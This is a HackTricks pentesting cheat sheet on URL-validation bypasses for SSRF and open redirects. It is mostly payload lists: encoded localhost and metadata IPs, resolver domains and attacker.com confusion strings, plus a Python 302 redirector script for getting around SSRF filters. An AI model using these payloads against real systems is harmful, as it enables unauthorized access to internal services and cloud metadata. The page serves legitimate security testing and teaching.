URL Format Bypass - HackTricks

# URL Format Bypass

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

### Localhost

    # Localhost
    0 # Yes, just 0 is localhost in Linuc
    http://127.0.0.1:80
    http://127.0.0.1:443
    http://127.0.0.1:22
    http://127.1:80
    http://127.000000000000000.1
    http://0
    http:@0/ --> http://localhost/
    http://0.0.0.0:80
    http://localhost:80
    http://[::]:80/
    http://[::]:25/ SMTP
    http://[::]:3128/ Squid
    http://[0000::1]:80/
    http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
    http://①②⑦.⓪.⓪.⓪

    # CDIR bypass
    http://127.127.127.127
    http://127.0.1.3
    http://127.0.0.0

    # Dot bypass
    127。0。0。1
    127%E3%80%820%E3%80%820%E3%80%821

    # Decimal bypass
    http://2130706433/ = http://127.0.0.1
    http://3232235521/ = http://192.168.0.1
    http://3232235777/ = http://192.168.1.1

    # Octal Bypass
    http://0177.0000.0000.0001
    http://00000177.00000000.00000000.00000001
    http://017700000001

    # Hexadecimal bypass
    127.0.0.1 = 0x7f 00 00 01
    http://0x7f000001/ = http://127.0.0.1
    http://0xc0a80014/ = http://192.168.0.20
    0x7f.0x00.0x00.0x01
    0x0000007f.0x00000000.0x00000000.0x00000001

    # Mixed encodings bypass
    169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
    0xA9.254.0251.0376 -> hexadecimal, decimal and octal

    # Add 0s bypass
    127.000000000000.1

    # You can also mix different encoding formats
    # https://www.silisoftware.com/tools/ipconverter.php

    # Malformed and rare
    localhost:+11211aaa
    localhost:00011211aaaa
    http://0/
    http://127.1
    http://127.0.1

    # DNS to localhost
    localtest.me = 127.0.0.1
    customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
    mail.ebc.apple.com = 127.0.0.6 (localhost)
    127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
    www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
    http://customer1.app.localhost.my.company.127.0.0.1.nip.io
    http://bugbounty.dod.network = 127.0.0.2 (localhost)
    1ynrnhl.xip.io == 169.254.169.254
    spoofed.burpcollaborator.net = 127.0.0.1

The Burp extension Burp-Encode-IP implements IP formatting bypasses.

### Domain Parser

    https:attacker.com
    https:/attacker.com
    http:/\/\attacker.com
    https:/\attacker.com
    //attacker.com
    \/\/attacker.com/
    /\/attacker.com/
    /attacker.com
    %0D%0A/attacker.com
    #attacker.com
    #%20@attacker.com
    @attacker.com
    http://169.254.1698.254\@attacker.com
    attacker%00.com
    attacker%E3%80%82com
    attacker。com
    ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
    ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
    ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
    ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
    Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
    ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

### Domain Confusion

    # Try also to change attacker.com for 127.0.0.1 to try to access localhost
    # Try replacing https by http
    # Try URL-encoded characters
    https://{domain}@attacker.com
    https://{domain}.attacker.com
    https://{domain}%6D@attacker.com
    https://attacker.com/{domain}
    https://attacker.com/?d={domain}
    https://attacker.com#{domain}
    https://attacker.com@{domain}
    https://attacker.com#@{domain}
    https://attacker.com%23@{domain}
    https://attacker.com%00{domain}
    https://attacker.com%0A{domain}
    https://attacker.com?{domain}
    https://attacker.com///{domain}
    https://attacker.com\{domain}/
    https://attacker.com;https://{domain}
    https://attacker.com\{domain}/
    https://attacker.com\.{domain}
    https://attacker.com/.{domain}
    https://attacker.com\@@{domain}
    https://attacker.com:\@@{domain}
    https://attacker.com#\@{domain}
    https://attacker.com\anything@{domain}/
    https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

    # On each IP position try to put 1 attackers domain and the others the victim domain
    http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

    #Parameter pollution
    next={domain}&next=attacker.com

### Paths and Extensions Bypass

If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:

    https://metadata/vulerable/path#/expected/path
    https://metadata/vulerable/path#.extension
    https://metadata/expected/path/..%2f..%2f/vulnerable/path

### Fuzzing

The tool recollapse can generate variations from a given input to try to bypass the used regex. Check this post also for more information.

### Automatic Custom Wordlists

Check out the URL validation bypass cheat sheet webapp from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.

https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet

### Bypass via redirect

It might be possible that the server is filtering the original request of a SSRF but not a possible redirect response to that request.
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be filtering the url param. But if you uses a python server to respond with a 302 to the place where you want to redirect, you might be able to access filtered IP addresses like 127.0.0.1 or even filtered protocols like gopher.
Check out this report.

    #!/usr/bin/env python3

    #python3 ./redirector.py 8000 http://127.0.0.1/

    import sys
    from http.server import HTTPServer, BaseHTTPRequestHandler

    if len(sys.argv)-1 != 2:
        print("Usage: {} <port_number> <url>".format(sys.argv[0]))
        sys.exit()

    class Redirect(BaseHTTPRequestHandler):
       def do_GET(self):
           self.send_response(302)
           self.send_header('Location', sys.argv[2])
           self.end_headers()

    HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

## Explained Tricks

### Blackslash-trick

The backslash-trick exploits a difference between the WHATWG URL Standard and RFC3986. While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.

### Left square bracket

The “left square bracket” character `[` in the userinfo segment can cause Spring’s UriComponentsBuilder to return a hostname value that differs from browsers: https://example.com[@attacker.com

### Other Confusions

image from https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

## References

- https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.